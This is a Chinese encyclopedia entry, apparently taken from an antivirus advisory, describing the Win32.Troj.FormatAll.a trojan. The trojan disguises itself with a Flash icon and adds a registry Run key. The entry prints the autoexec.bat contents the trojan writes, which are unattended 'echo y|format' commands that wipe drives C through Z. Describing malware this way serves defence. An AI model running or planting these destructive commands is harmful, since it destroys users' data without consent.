| 词条 | Win32.Troj.FormatAll.a.28672 |
| 释义 | § 概述 病毒别名：Trojan.Win32.FormatAll.a 【AVP】 处理时间：2003-11-10 威胁级别：★ 中文名称： 病毒类型：木马 影响系统：Win9x/WinNT/Win2K/WinXP/Windows Server 2003 病毒行为: 编写工具： Visual Basic 6.0 传染条件: 文件图标为 flash 可执行文件图标，借此引诱用户执行。 发作条件: § 系统修改: A、将自己拷贝到 %System%flash.exe B、在系统根目录下生成 autoexec.bat 文件，其中内容如下： @echo off @echo y|format c:/v:lb/q @cls @echo y|format d:/v:LB/q @cls @echo y|format e:/v:LB/q @cls ……………… @echo y|format z:/v:LB/q @cls C、在注册表的主键: HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun 中添加如下键值: "flash" = "%System%flash.exe" § 发作现象: 运行后立即重启，当系统再次启动时执行 autoexec.bat，格式化所有分区，并且格式化前不需要按键确认，导致无法进入系统。 如果 autoexec.bat 由于某些原因没有被正常执行，将进入 windows，然后会再次执行被拷贝到 %system% 目录下的 flash.exe 文件，导致系统再次重启。 特别说明: |
| 随便看 |
百科全书收录594082条中文百科知识，基本涵盖了大多数领域的百科知识，是一部内容开放、自由的电子版百科全书。